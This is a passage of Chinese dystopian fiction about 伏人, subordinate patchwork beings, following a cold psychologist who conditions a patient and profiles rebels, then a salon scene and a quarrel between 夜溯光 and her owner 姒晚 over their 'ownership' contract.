·我指着黄色方块,说:‘这是困惑。’ ·示范歪头:头向□□斜15度,保持2秒,回正。 ·等待,她迟疑了8秒,然后歪了一下头,角度约5度。 · ‘确认。’我立即给予反馈。 ·重复三次,她的歪头角度逐渐接近15度,速度加快。 训练模块二:任务完成 ·设计简单任务:‘看着我手中的数据板。’ ·她照做(花了3秒将目光聚焦)。 ·我指着任务完成符号(平视的眼睛+两次眨眼)。 ·示范:平视前方,眨眼两次。 ·她模仿:平视我,缓慢眨眼两次。 · ‘合规。’反馈。 训练模块三:愤怒转译 · ‘愤怒不允许直接表达。但可以转译。’ ·示范快速整理物品:将桌上的三支笔快速排列整齐。 ·示范用力但均匀地呼吸五次:深呼吸,呼气有力但均匀。 ·她选择后者。尝试深呼吸,但前两次仍急促,第三次开始变均匀。 · ‘合规。’ 训练模块四:想要离开 ·示范:转头看向门口,保持2秒。 ·她模仿:看向门口。 · ‘确认。’ 每一项正确的、符合编码表的输出,都会得到我一句简短的确认或合规。没有很好,没有对了,没有奖励性质的微笑,奖励会唤起期待,期待会带来新的情绪波动和潜在的失望。而确认只是系统反馈,稳定可测、不掺杂任何价值判断,这对于一个刚经历过系统崩溃的产品来说,是最安全最能重建基础安全感的互动方式。 监测数据显示稳定改善: ·心率:从142降至98(训练结束时)。 ·呼吸频率:从36降至18。 ·皮肤电导:从峰值下降62%。 ·震颤幅度:从5厘米降至0.5厘米。 ·自伤行为:完全停止。 ·注意力集中度:从不足10%提升至65%。 她仍然无法说话但身体噪音已大大降低。更重要的是,她学会了一套新的、可预测的交流方式,用标准化行为来表达基本状态。 时间到了,职员掐着点推门进来:‘哟,还真有点用?能站起来了不?’她听到了声音,身体本能一紧,但很快,像想起了什么,按照任务完成的编码,抬起头,平视前方,然后眨了两次眼。职员没看懂这编码,只看到她能抬头:‘行吧,能抬头就算还能用,评估结果?’我递回已签字的评估单,上面勾选了:建议进行三期(每期十五天)标准化行为重塑训练,并同步观察其工具性技能(基础清洁、搬运、简单指令执行)恢复情况,暂不建议回收。 职员撇撇嘴:‘起来,走了,算妳运气好。’她挣扎着站起来,步伐虚浮但不需要搀扶,离开前回头看了我一眼,她不知道我是谁,不知道我做了什么,但她可能模糊地感觉到,刚刚那套奇怪的游戏给了她一个暂时不会沉没的浮板。 门关上。我立刻调出档案,在首次干预记录中快速输入:诊断:哑巴经急性发作(重度),惊恐障碍伴解离状态,自伤行为(中度风险) 干预措施:导入初级情绪-行为对应编码系统(测试版) 过程详录: 1. 初始状态:完全崩溃,心率142,呼吸36,持续自伤撞击。 2. 第一阶段(0-5分钟):通过指令引导建立基础注意力。使用系统选项描述(死机/矫正/学习新语言),激发求生本能。 3. 第二阶段(5-15分钟):展示编码表,引导识别当前状态。指令执行标准化蜷缩,停止自伤。观察到生理指标初步改善(心率降至132,呼吸30)。 4. 第三阶段(15-45分钟):逐步训练四项基础编码:(1)困惑-歪头;(2)任务完成-平视+眨眼两次;(3)愤怒转译-深呼吸五次;(4)想要离开-看门口。每项训练采用‘示范-模仿-反馈’循环。对象表现出初步学习能力,模仿准确率从30%提升至70%。 5. 终末状态:心率98,呼吸18,皮肤电导下降62%,震颤幅度减少90%,自伤行为停止。能够使用基础编码进行简单交流(如用‘看门口’表达离开意愿)。 结论:初级编码系统在阻断急性崩溃、建立基础行为控制框架方面显示初步有效性。对象从完全失控状态恢复至可接受指令、可进行简单编码交流的基线水平。 下一步计划: 6. 安置中心后续训练:验证编码系统在简单重复劳动任务中对情绪波动的持续抑制效果。 7. 测试泛化能力:能否将编码应用于其她场景(如用餐、睡眠、与其她伏人互动)。 8. 长期观察:编码系统是否会限制情绪表达的丰富性,或导致进一步的自我物化。 9. 数据收集:详细记录对象在训练期间的所有行为数据,用于优化编码系统算法。 伦理备注:此干预本质为行为编程,存在将伏人物化风险。但考虑到对象处于急性崩溃状态,且无其佘有效干预手段,此方法在风险/收益比上可接受,需持续监控对象的主观体验(如有可能评估)。 写完,我将这份记录匿名化处理,加密,上传到根系网络核心数据库的特殊分类下:行为干预模型验证——急性期案例库。她是这个库里的第一个完整案例,标题旁边,标记了一个小小的星号,代表高潜力样本需持续跟踪。 同时启动新项目文件:伏人标准化行为管理方案(初级版) ·理论基础:行为主义心理学+伏人神经生理学特例。 ·编码系统:情绪-行为对应表(分初级/中级/高级)。 ·训练协议:分阶段实施指南(急性期/稳定期/提升期)。 ·评估工具:社会化评分改良版(加入编码掌握度指标)。 ·伦理框架:使用范围限制、监控机制、退出标准。 这套方案,如果经过足够案例验证,未来可以打包出售给:伏人安置中心(降低管理成本)、奸部社会资源司(提升伏人可用性)、嫉部□□部门(减少伏人引发的社会事件)、甚至某些大型企业(如需大量伏人劳力)。 她不是一个人,只是一个数据点,一块验证我理论有效性的基石,一件我打磨出来、用以向这个世界证明伏人情智可被科学管理的工具样品。她的好转,未来可能会成为我向妨部、奸部甚至妒部兜售标准化伏人行为管理方案时最有说服力的证据之一。 冷酷吗?是的,但这正是这世界教给我的唯一生存法则:在这里,温情是自毁的毒药,眼泪是无用的泄物,只有被验证的效用才是唯一流通的硬通货,而我,柳窃影,要成为最精通这种货币汇率的人。我需要准备下一场交易。” 柳窃影:“她依旧穿着那身标志性的黑色执行官制服,但风尘仆仆,肩头和裤脚沾着暗红色尘土,是第三区边缘富含氧化铁矿渣的土壤。她的靴子上有新鲜泥渍,裤腿处有细微撕裂,头发比上次见面时更凌乱。她把带着些许潮湿泥土气息的密封袋扔在我的诊疗台上…” 婕影: “妳要的东西,暴乱时期一个民间伏人互助网络最后据点的残留物,从地下一具死了不知道多少年的伏人骸骨怀里硬抠出来的。为了这堆垃圾,我折了两个仿器,一个被塌方的预制板砸断了腿,另一个吸入了过量灵质腐气,现在还在医疗舱里吐黑水。” 柳窃影:“这是典型的代价强调,意在提高她所提供物品的价值,也为后续要求更高的回报做铺垫。我目光落在她脸上新伤的开裂处,‘伤口的感染指数比预期高23%。为什么不用敷料?并发症风险会直接影响妳的任务出勤率和反应速度。’ 婕影:“忙着在死人骨头里刨食,忘了。别打岔,柳医师。东西我给妳挖出来了,我要的人像呢?领头的到底是什么路数?” 柳窃影:“妳对它们受伤感到愧疚吗?” 婕影: “什么?” 柳窃影:“‘妳作为队长,下达了挖掘命令,现在它们受伤,妳感到愧疚吗?还是觉得这只是必要的代价?’这是试探,测试她的情感状态变化。如果是以前的婕影,会毫不犹豫地回答必要的代价甚至补充能为任务受伤是它们的荣誉,但现在的她……” 婕影: “它们是好手下,我会为它们申请最高等级的伤残补助和荣誉勋章,但任务必须完成。” 柳窃影:“侧写完成,35-42云,曾拥有接近合法社会边缘的身份,很可能是某个妓部人员的私人助手或长期契约伏人,因此掌握了读写能力、信息搜集技巧,甚至基础技术绘图。看这些示意图:净水装置、简易信号发射器、地下掩体结构。虽然粗糙但比例准确关键部件标注清晰,没有专业训练画不出来。她遭遇过重大的背叛或抛弃,事件摧毁了她对通过服务女性获得接纳的幻想,导致她对整个情感与社会契约体系产生根本性怀疑。她的目标不是破坏是重建,她在尝试构建一个伏人自治的乌托邦模型,基于理性互助、自给自足。内容分为生存技能、隐蔽通讯、风险评估、组织原则,完全没有煽动暴力或仇恨的内容,她甚至在最后一章写了冲突解决原则:优先谈判,避免对抗,保存实力,更像社区建设指南。” 婕影: “所以她更难对付。她有理想,有蓝图,有耐心。” 柳窃影: “而且她有一种特殊魅力,冰冷的可靠性。她提供的是具体的、一步步的、可以立刻上手操作的生存方案,对于绝望中的伏人来说这比任何口号都更有吸引力。这些脉冲信号我分析了模式,它们不是在传输信息,是在示范,她在用灵能教学。” 婕影: “教学?” 柳窃影:“对。频率3-5千赫兹,强度微弱,但每个脉冲序列都对应一个基础通讯单元的原理演示。她在培训她的成员,而且是远程隐蔽可重复的培训。这解释了两个问题:第一,为什么她的组织能快速掌握基础技术;第二,为什么她的活动范围看似局限但影响力可能更大,教学信号可以覆盖整个第三区。” 婕影: “所以她在做的…是系统性的人才培养。不是聚拢一帮暴徒,而是在培养一支有技术有组织有理念的…队伍。” 柳窃影: “更准确地说,是在培养种子。每个学会这些技能的人,理论上都可以成为新的原点在别处复制这个模式,她在创造可复制的反抗模板。” 婕影: “藏匿点。最可能的位置。” 柳窃影:“‘三号点可能性最高:地下管道系统的大型交汇节点,优点:直接连接地下网络,隐蔽性极强;工坊提供合法身份掩护;空间复杂,易于藏匿。建议从反向侦察开始,从地下管道网络的其余入口切入,迂回接近交汇节点。’我将详细路径图和建议战术发送到她的加密通讯器。她看了一眼屏幕,点点头,‘效率还是这么高。’她评价道,却没有立刻起身离开,目光在我脸上缓慢仔细地剖切着。这是一个危险的信号,她今天不止想要情报,还想探究别的什么。” 婕影: “柳窃影,有时候我真的很想知道,妳帮我追踪这些人,分析这些人,给出这些精确到就好像妳钻进她们脑髓里看过一样的侧写。妳心里,到底是怎么看待她们的?这些试图撬动规则甚至不惜流血的同类?” 柳窃影:“这是一个危险的问题。它触及了交易契约之下,那层我们始终心照不宣避而不谈的灰色地带,种族与立场的鸿沟,我是伏人,我是在帮女人追捕反抗的伏人。我看着她的眼睛,那里有职业性的审视,有长久合作产生的扭曲熟悉感,或许还有连她自己都未完全明了的、对我们这种畸形共生关系的好奇与不安。我是她最好用最犀利的工具,一个能看透人心的伏人异类,但她偶尔会感到寒意,怀疑这个过于完美的工具,是否也有自己的意志、自己的评判。‘婕影队长,在我的专业分析框架内,只有可观测的行为模式,可归纳的动机类型,和可预测的风险轨迹。同类,是一个充满情感与伦理负载的归属概念,不在我的工作词汇表内,也不影响分析的客观性。她们选择反抗,是基于她们对自身处境的一套逻辑推演和风险评估,尽管在我看来,那套推演充满了因信息不全、认知受限和情感干扰而导致的致命偏差。而我提供侧写,是基于我们之间长期建立起来的、稳定互利的交易契约,这个契约确保了妳的执法行动更高效精准,也保障了我的执业环境安全和必要的信息获取渠道。这是基于理性计算、各取所需的简洁互动模型。看待这种带有主观色彩的词汇,不适用于此模型,就像妳不会问一台扫描仪如何看待它正在扫描的文档,它只是执行设计好的功能,输出可用的数据。” 婕影: “简洁有效。柳窃影,妳真的把自己活成了一篇无懈可击的学术论文,论点坚实,论据充分,格式完美,没有任何多余到会干扰结论的情感变量。下周,大概还是这个时间,可能会有个涉及到娼部某位高层私人收藏癖好的棘手案子,需要妳评估一下舆论引爆点和控制策略,资料老规矩。” 柳窃影:“预付百分之三十,评估周期五个工作日。” 婕影: “成交。” 柳窃影:“房间里只剩下我一个人,和她留下的那个密封袋。我戴上隔离手套打开袋子,里面是几块布满划痕、部分已物理损坏的数据芯片,还有一本巴掌大小、边缘被烧焦的笔记本。我首先处理芯片:插入便携式只读解码器,启动数据恢复程序。三块芯片完全损坏,无法读取;两块有部分数据残留但内容破碎;最后一块,最小的那块,奇迹般基本完好。 解码内容是一份无声暴乱时期某个伏人互助网络的会议记录,时间标注为暴乱前三天。记录用简码书写,但我能解读: 今日与会:7人。议题:是否参与明日的大规模抗议。 A主张:必须参与,这是唯一让她们听到我们声音的机会。 B反对:这是陷阱,她们已经布置好镇压部队。 C(记录者):我提议,不参与主流抗议,而是利用混乱执行种子计划,将我们的知识库分散隐藏,确保即使我们被捕,火种不灭。 投票结果:4票赞成种子计划,3票反对。通过。 任务分配:A、B负责吸引注意;C、D、E负责知识库复制与隐藏;F、G负责传递警报网络。 记录到此中断。日期就是无声暴乱当天。这个网络很可能在随后镇压中被摧毁,成员非死即囚。我拿起笔记本轻轻翻开,烧焦处碳化了但内页大部分得以保存: 第47天:于东三区废弃仓库接收第二批物资。基础营养膏120单位,净水片300粒,基础医疗包7套。支付:信息交换。 第89天:建立第三条秘密通讯线路。测试成功,延迟3.7秒,可接受。加密协议升级为双频交错,安全性提升。 第132天:新成员G加入。背景核查通过。分配任务:物资点看守。培训期15天。 第155天:遭遇第一次内部危机。成员D试图私藏物资。处置:按规章,剥夺物资分配权30天,加强思想教育。D接受,无反抗。记录:需完善监督机制。 第203天:外部威胁升级。发现疑似监控迹象。启动应急方案:转移核心物资,暂停线下集会,启用纯线上通讯。 第237天:最艰难时刻。连续七天无新物资输入,成员出现营养不良症状。决定冒险执行采矿行动,潜入废弃矿坑寻找残留灵骨矿石,换取物资。成功率评估:43%。祈祷。 第238天:采矿行动失败。成员F被捕,B重伤。剩余物资仅够维持三天。今晚会议决定:启动冬眠协议,分散隐藏,保存火种,等待时机。这是我的最后一篇记录。如果未来有人找到它,记住:我们试过了。我们失败了。但失败也是经验。别放弃。 最后一页的右下角,有用更精细笔触画的符号:一棵极其简化的树,根系异常发达,深深扎入地下。根系,她们用的词。 婕影问我怎么看待她们。我没有说谎,在我的价值排序和生存蓝图中,她们反抗的行为本身没有意义,只是系统运行中的故障代码。但她们反抗过程中产生的数据、积累的经验、用鲜血和失败换来的教训,经过我的收集、分析、重构,可以变得极具价值。 她们的绝望,可以成为我论证伏人群体需要更科学管理的案例。 她们的智慧,可以被我转化为提升自身网络效率的工具。 她们的血,她们无声的哭泣,她们最终湮灭在黑暗中的名字……都可以成为我铸造向上攀登阶梯时用的原料。 我不是她们的同类,我是她们的观察者、分析者、解剖者。我是从她们尸体上跨过去并顺手捡走她们遗落碎片的那个身影。 我是这个冰冷系统培育出来的,最冷静也最无情的生存机器。 我将芯片和笔记本重新封存放入暗格,然后调出今天的诊疗总结开始撰写报告。 窗外,紫云渐沉黄昏将尽。 我靠在椅背上闭上眼睛,脑海中只有一幅纤毫毕现的蓝图,以全息投影的方式在思维背景上展开:婵茧堂第三听证厅的立体布局图,座位排列,主要审查委员的姓名、背景、学术倾向、已知的派系立场。我踏入时的步伐节奏,问好时的姿态角度,展示数据图表的顺序,哪一张先声夺人,哪一张用于诘问,每一句辩护词的逻辑落点,预设的反对意见及驳斥方案,几个关键转折时刻可以抛出的筹码的时机与方式。最后陈词的语气是谦逊的自信还是不可置疑的坚定? 每一个细节都反复推演,每一种可能都计算概率。爱太奢侈,恨太浪费,它们都只是复杂系统运行时产生的无意义噪音与热能,而我,柳窃影,雪青国首位二级伏人心理医师,要做的只是持续优化我的降噪算法,提升我的能量利用效率,让这具由碎骨尸苔与绝望记忆拼装而成的躯体,在这套精密残酷的生存系统中,继续向上攀爬,继续向下运行。” 6. 第六幕 (姒府花厅,三人在场,夜溯光被围观打量。) 妘峥: “这道拼接线的走势倒像是被撕毁又被黏合的地图呢,阿回,当年她缝妳的时候,参照的是《标准构型图谱》第几版?我瞧着这纹理,从颞骨斜刺入发际线,途经枕骨凸起处时突然转角,用的应该是双股螺旋缝合术,但第三针和第四针之间的间距误差了许多。这误差是故意的,还是那天的学徒手抖了?我听说第三代殖骨师都有个怪癖:每缝完十个伏人,就要在第十一个身上留下一处破绽,美其名曰给神性留呼吸的缝隙,妳这处转折,该不会就是她那天的呼吸缝吧?” 姒执钧: “何止是缝线?这皮肉本身的记忆就够写好几卷法医报告了。左肩这片,深褐中透着冻疮愈后的青紫,毛孔排列呈抗寒型簇状结构,汗腺分布密度是标准值的1.7倍,这可不是普通北境伏人的皮,北境三号矿坑的苦力,死后尸体会被迅速回收,皮肉还保持着劳作时的紧绷状态,但妳这片松弛度异常,皮下脂肪层还有溶解重组的痕迹,我猜,原主死前经历了至少七十二小时的缓慢失温,但在彻底僵硬前又被丢进了快速解冻池,殖骨师要的是将死未死时的皮肉弹性,所以这片皮,应该是从一具半冻半融的尸体上剥下来的,阿回,酸不酸啊?” 夜溯光:“二位好眼力,左肩确比右臂畏寒一些,但只是仿生神经的温度传感阈值设置偏高所致。殖骨师当年用的材料批号是K-774-3,那批材料因储存不当受过冻,后来虽经修复但导热系数永久性损失了百分之二十,至于缓慢失温……伏人的皮源记录属于三级机密,连主家都无权调阅完整档案,您说的这些,更像是法医教材里的典型案例。” 嬴崇: “典型案例?我看是禁忌案例。这质感简直像把新生胎衣植入了成年伏人的体表,看这毛孔,不,这不能叫毛孔,是气孔,像是水生生物的皮肤,能在液体环境中进行渗透交换。还有这颜色,乳白里透着淡青血管,这是胎盘中脐带附着区域的特殊皮组织才有的特征。阿回,这片皮的原主,该不会是个未足月就被剖出的死胎吧?殖骨师偷了娼部育灵渊的医疗废料?还是从哪个私密诊所的后巷垃圾桶里翻出来的?这片皮缝在身上,不会觉得胸闷吗?就像有另一颗心脏贴着妳自己的心跳,咚、咚、咚,提醒妳,从未真正出生过?” 夜溯光:“那不至于,这片是标准型号的柔肤II型人造仿生皮,常用于面部修复或高社交需求伏人的外观优化,因基底用了海月水母的基因模板所以呈现半透明质感,它的透气性是普通材料的2.4倍但抗撕裂强度只有标准值的百分之六十,所以她从不让我穿领口过紧的衣物,怕勒出痕。至于胎衣…这样的想象,恐怕对逝者不敬。” 妘峥: “逝者?阿回,妳这一身哪处不是逝者?左肩的冻死矿工,右臂的腐鳞蜥蜴,心口的僵骨挂皮,还有后背那条从肩胛骨斜贯到腰际的主缝合线,这针法,前半段用的是娥皇绣里的双面隐,线头全藏在内里;可缝到腰椎第三节时换成了军工缝合法,针脚外露,线是深褐高强缝合线,打了三个死结,其中一个死结勒得太紧,线已经嵌进肉里,周围形成了环状增生疤痕。这哪是缝人?前半段,殖骨师也许还在追求艺术品,缝到一半,累了,烦了,或者接到催单了,就潦草收尾,阿回,妳这一身子,连完整性都是打折的呀。” 夜溯光:“诸位今天是来对殖骨师的手艺进行质检么?可惜我不是出厂商品,没有保修书也不接受退换。这一身皮肉,是好是坏,是精工还是潦草,如今都长在我身上了。冷热酸麻,痛痒疲乏,也都是我的,诸位们品评得再仔细,终究是隔岸观火。” 嬴崇: “隔岸观火?我们观妳,是看妳还能烧多久,看看她用多少名贵灯油浇灌才能让妳这团火不灭,还时不时冒出点有故事的火星子,供我们茶余饭后赏玩。妳知道我最喜欢妳哪一点吗?就是妳这副我知道妳们在看什么但我偏不给妳们看真切的劲儿。妳在吞东西,阿回,吞下我们的刻薄,吞下她的恩威并施,吞下妳那些死在戈壁上的同伴的名字和死状,吞下妳作为伏人所有的不该和不能。妳肚子里到底装了多少东西?装到哪一天,会撑破妳这身缝缝补补的皮囊?” 夜溯光:“那未免高估我了。伏人的消化系统是简化版的,胃容量只有女人的百分之六十,我们天生就装不了太多东西,硬塞,会吐的。” 姒执钧: “妳们听见没?她才不是没脾气,只是把脾气磨成了针,藏在每句顺从的话里,冷不丁扎一下,她可真是养了个宝贝。阿回,说实话,妳恨不恨?恨把妳造出来的殖骨师?恨这个给妳破皮烂肉还让妳哑嘴耳半的世界?恨我们这些把妳当玩意儿品头论足的女人?恨她把妳从战场上捡回来却又把妳关进另一个更精致的笼子?” 夜溯光:“恨是一种太浓烈的情感,需要完整的神经递质系统和充沛的灵能支持,伏人的情感模块是阉割版的,恨意产量有限,得省着用。殖骨师太远,世界太庞大,诸位是过客。至于她,她给我屋檐餐饭,我付她观赏价值,交易而已,恨意用在这种明码标价的交易里,不划算。” 妘峥: “交易?那我出双倍价码,跟我走。我书房正好缺个摆件,妳这副吞了万物却沉默的劲儿,摆在案头说不定能镇住我那些浮躁的灵感,她给妳什么?华服?美食?一间看得见花园的西厢房?我能给妳更多,我认识嫖部的遗物处理专家,她能帮妳把那三个潦草的死结解开,重新缝合,用最新型的生物融合胶,让疤痕消退,让那片皮肤摸起来像天生的一样。我还能给妳申请特殊艺术研究助理的身份,虽然还是伏人编制,但有了这个头衔,妳能名正言顺进入档案馆,查阅…比如当初小队的完整行动报告,阵亡人员的遗物清单,甚至她们火化或回收前的最后影像记录,妳不是想装吗?我给妳更大的容器,怎么样?” 夜溯光:“这些价码很诱人,尤其是最后那条。但,交易讲究先来后到,我和她的契约还没到期。” 嬴崇: “契约?那张纸,写的是监护关系,本质是所有权转让,阿回,妳是物件,物件没有选择权,只有被转手的命。她哪天腻了,或者家族压力大了,随手把妳送给某个需要讨好的人物,或者干脆交还给伏人安置中心,妳知道每年有多少失去兴趣的伏人被送回去吗?百分之四十。回去的下场呢?好一点的,重新评估,匹配给新家;差一点的,拆解回收,有用的零件留给下一代伏人,没用的烧掉。妳这一身故事,在安置中心的评估表上,可能还抵不过一台新型家政机械人的实用价值。” 夜溯光:“那就等那天到来再说,至少现在,我还是她的藏品。藏品的本分,是待在原来的展柜里,等待她决定下一步是继续展览,还是收进库房,或者拍卖。” 姒执钧: “没劲。她到底给妳灌了什么迷魂汤?还是说…妳真的对她动了那种不该动的感情?像那些下三流言情文本里写的,伏人对主家产生病态依恋,幻想自己是特殊的,幻想一点施舍般的关注里藏着真心?阿回,别傻了。姒晚是什么人?姒家这一代最耀眼的学术新星,二十五云就独立主持A级课题,未来要进最高议会科技委员会的人,她的连生或者说,她的长期伴侣选择,早就被规划好了:必须是能在政商或学术上给她助力的女性。妳?妳连她未来的鞋底灰都算不上。充其量是段年少荒唐,是她完美履历上一笔可以用同情心道关怀轻轻带过的小小瑕疵,等她玩够了,或者需要向家族证明成熟稳重了,第一个被清理的就是妳。” 夜溯光:“各位今天的话我都记住了,我会转告她的,想必她对藏品的处置方案,也有自己的考量。” 姒晚: “转告?夜溯光,妳现在已经能干到替我拿主意、当我的传声筒了?三位好雅兴。我家的伏人,什么时候成了诸位的品鉴主角了?抬起头,让我看看,被夸了多少斤两,重得都敢替主家转告了。” 妘峥: “别动气,我们就是随便聊聊……” 姒晚: “聊?聊她这一身破烂的来历?聊她值几个钱?聊怎么挖我的墙角?夜溯光,妳听好了。妳的来历,再破烂,也是我姒晚盖了章签了字的所有物。妳的价值,我说了算。我想给妳穿金戴银,妳就得闪着光;我想让妳灰头土脸,妳就得滚去泥里趴着!至于墙角,各位,她是我从战场上捡回来的。捡回来那天,她浑身是血和污染结晶,怀里死死抱着一本烧焦的笔记本,指甲缝里全是黑灰。我花了多少资源,欠了多少人情,才把她从死亡线上拉回来,把这身破烂皮肉养出点人样,把她眼里那点魂一点点勾回来,这些,诸位要听听明细账吗?要听听妒部监察官因为这过度投入找了我多少次麻烦吗?要听听家族长老会上,我是怎么被指着鼻子骂玩物丧志辱没门风的吗?!” 姒执钧: “消消气,我们没那个意思……” 姒晚: “没那个意思?那是什么意思?是看我姒晚最近课题顺风顺水,忮忌了?还是觉得我姒家门槛低了,什么阿猫阿狗都能来指点我怎么养伏人?这道缝线,里面掺了微量灵骨粉末,是我托嫖部的朋友从古董市淘来的,据说是初代伏人实验体的骨灰。掺进去是为了增强她的灵能共鸣稳定性,这事要传出去,够我再上三次伦理法庭。可我做了,为什么?因为她是我的。她的好,她的坏,她的破烂,她的价值,甚至她的命,都是我的。我想怎么处置,就怎么处置,我想把她捧在手心里,旁人就得夸我有情有义;我想把她踩进泥里,那也是我的自由,轮不到外人说三道四!听懂了吗?” 嬴崇: “妳这话就太重了,我们不过是……” 姒晚: “不过是闲得发慌。走。回去。这儿乌烟瘴气,待久了,脏。” 姒晚: “解释。我要一个解释。为什么去宴厅?为什么和她们说那些话?夜溯光,妳是不是觉得我姒晚的屋檐太低,遮不住妳了?非要跑到外头,对着那些等着看我笑话的人,亮一亮妳这一身疤、一肚子不合时宜的旧事,好叫她们知道,姒晚养的不是温顺宠物,是头心里还燃着战场余烬的伏人?!” 夜溯光:“碰巧遇上。廊下就一条路,她们堵着,我总不能飞过去。至于说话……是她们先问,我总得答,伏人守则第一条:主家或主家同阶者问话,须如实应答,不得隐瞒,不得敷衍。我背得很熟。” 姒晚: “如实应答?!妳那是应答吗?!妳让她们的汗手摸妳的拼接线,让她们的鼻子嗅妳身上昨日的香前日的霜,让她们的耳朵听妳说,说什么战场,说什么同伴,说什么血洗不干净!阿回,妳那点过去,是我赏妳的私藏品!我准妳偶尔拿出来,在夜深人静时自己摸一摸,掉两滴哑巴眼泪,那是情趣!是妳我之间心照不宣的游戏!但妳捧出去给旁人看,就是打我的脸!她们会怎么想?姒晚养的这个伏人,心思根本不在她身上,还惦着那些死透了的战友呢!我成了什么?一个收容残次品、还任由残次品惦记前尘的傻子!” 夜溯光:“姐姐不是傻子。姐姐是聪明人,最懂怎么物尽其用。我这身疤、这点事,在姐姐手里是情趣,是私藏,是证明您品味独特、敢于收藏危险之美的战利品;到了她们眼里,就成了谈资,成了笑柄,成了您驭下不严玩物丧志的证据。归根到底,东西还是那个东西,疤还是那些疤,只看捏在谁手里,派什么用场。姐姐气的是我把您的私藏变成了众人谈资,还是气我…居然还有过去可供谈论?” 姒晚: “妳……妳非得把话说得这么难听?是,我最初带妳回来,是图新鲜。一个战功显著、从碎骨小队尸山血海里爬出来的最后幸存者,身上每一道疤都能讲出一段血肉模糊的故事,多特别的收藏品,摆在书房,客人来了问起,我能轻描淡写说‘哦,那是阿回,以前在前线待过’,换来一片惊叹和暗藏羡慕。可后来呢?!我为妳坏了多少规矩?!妒部监察官三个月来了七次!每次都带着那种假惺惺的关切,拐弯抹角问我是否情感投入过度,是否被伏人异常执念影响,是否耽误了课题!家族里那些长辈,明面上不说,私下聚会时话里话外提醒我‘玩物适可而止’‘莫污姒家清誉’‘妳母亲当年就是因为收留那个妖部卧底,才被剥夺了继承顺位’!我都扛下来了!我甚至…我甚至动了念头,想替妳申请一个有限的合法身份,不是完全平等的,但至少能让妳在众共场合不必戴标识项圈,能让妳名正言顺跟着我出入一些场合。虽然知道希望渺茫,程序堪比登天,光是第一道伏人价值评估就得过十七个部门的章……” 夜溯光:“姐姐,别说了。那些规矩,那些压力,是妳选择我时必须付的代价,不是赏给我的恩典。就像我选择跟着妳,就必须付出的代价是,闭嘴,装傻,把自己活成一张任妳涂抹的白纸,把心里那口枯井填上妳喜欢的颜色。我们之间,从来就是一笔账,妳付妳的,我付我的,算清楚了,反而轻松。妳不必觉得亏欠我什么,我也不必……不必对您那些超出预期的好意感到惶恐。” 姒晚: “一笔账?好,那我们来算!算清楚!妳吃我的,每月基础营养膏五十支,高级蛋白补充剂二十管,灵能稳定液十瓶,这还不算厨子专门给妳调配的药膳!妳穿我的,从里到外,哪一件不是妖部定织、妓部精工?光是去年那件流光软绸的内衬,就用了三只雪山灵狐的腋下软毛,价值够买下一整个小型伏人安置点!妳住我的,这厢房原本是要改造成我的冥想室,地砖下埋了引导纹路,墙里嵌了隔音和恒温矩阵,如今成了妳的卧室!还有妳那条命!从战场上捡回来后,妳高烧七日不退,脏器衰竭警报响了三次!是我用姒家名帖连夜请来嫖部顶尖的医疗组,动用了三支军方特供的、理论上只能用于将级军官的活化剂,才把妳的命从玉娘神手里硬抠回来的!三支药剂,在黑市能换三艘轻型巡逻舰!” 夜溯光:“还有呢?我那些藏在床底铁盒里的破烂,虎杖的半块铭牌;方知烧焦的笔记本残页;枫香用过的止血钳;知预的演算草稿;窃影留下的半截□□……这些,姐姐都睁一只眼闭一只眼留下了,为什么?因为留下它们,我就更像一个有故事的收藏品,更能满足您那点掌控危险的隐秘快感?” 姒晚: “妳……!” 夜溯光:“姐姐,这笔账算不完的。妳在我身上投入的资源,每一笔都记在姒家工账或您的私账上,有票据,有记录,有清清楚楚的数字。而我能回报的……只是这张还算看得过去的脸,是这具虽然布满拼接线但功能尚算完好的身体,是这副在必要时能装出温顺沉默、偶尔又能流露出一点战场余烬以供妳品鉴的表演。我们是典当关系,姐姐,妳典出资源,换取一件稀有到能给您带来声誉和快感的活体藏品。我典出自由和尊严,换取庇护和生存。很平等,很赤裸,所以我们不必用恩典亏欠这些词来粉饰,真的,算清楚,对彼此都好。” 姒晚: “那妳告诉我,如果只是典当关系,为什么上个月我课题瓶颈、连续失眠、在书房摔了所有能摔的东西之后,妳会半夜端着一碗熬得稀烂的粥进来?那粥糊底,米粒半生,妳手指上还贴着被锅沿烫出的水泡。如果只是典当关系,为什么两个月前我在妖部拍卖会上输给对头、回来气得浑身发抖时,妳会默默点上安神香,然后坐在我脚边的地毯上一言不发地陪我坐到天亮?如果只是典当关系,为什么…为什么这张我们之间的监护契约第四款第七条,所有物这个词,会被妳用墨水涂抹掉,在旁边用工工整整地补写伴侣两个字?!阿回,妳告诉我,哪家当铺的掌柜,会和典当品偷偷修改契约条款?!” 夜溯光:“那张纸……是那夜姐姐伏案睡着,我替您盖毯子时从您肘下露出来的,我不是故意翻看,至于修改…那大概是我某次深夜梦游,意识不清时写下的胡话,姐姐不必当真,伏人没有伴侣的资格,我知道。” 姒晚: “梦游?胡话?那妳看着我的眼睛,再说一遍。说那两个字是妳神志不清时写下的胡话,说妳从未想过要当我的伴侣,说妳留在我身边纯粹是为了资源和庇护,说那些深夜的粥、安神的香、还有妳偶尔看我时的眼神,都只是演技,是伏人为了生存必须掌握的讨好技巧。说啊,阿回,只要妳说了,我立刻撕了这张纸,我们回到最干净的典当关系,我付钱,妳卖人,银货两讫,谁也不欠谁。” 夜谣(夜溯光识海处):“…逃不掉的…从她捡妳回来那天…从妳睁眼看见她…从妳第一次在她面前露出疤痕…锁链就缠上了…不是她的锁链…是命运看见了两块残缺的碎片…命令它们互相镶嵌…哪怕镶出一地狼藉…” 夜溯光:“我说不出来,因为那不是胡话,因为我在写下那两个字时,是清醒的。因为我知道那意味着什么,意味着我,一个伏人,居然敢奢求和我的主家、和一个前途光明的姒家人,建立近似平等的情感联结,意味着我疯了。” 姒晚: “那我也疯了,阿回,妳知不知道,我也疯了。我姒晚这辈子,前二十年活在家族期待里,要做最出色女儿,最优秀学者,最得体承人,我的一切都是被规划好的:几云启蒙,几云接触课题,几云建立人脉,几云缔结第一段工缘。我一直按照设定好的程序运转,从不出错,也从未真正活过,直到遇见妳。妳身上有我所没有的一切,破碎、野性、沉重的过去、对死亡和失去的切肤之痛,还有一种残忍的清醒。妳像个闯入者,把我那间摆满标本挂满规划的灵魂展厅,砸得稀巴烂。我开始出错:课题数据算错,宴会迟到,对长辈的训诫左耳进右耳出,甚至开始质疑那些我从小信奉的规则。家族医生说我得了情感代谢紊乱,建议我接受娼部的清心。可我知道,我没病,我只是…终于醒了,醒了,才发现自己之前活得像具会呼吸的标本。” 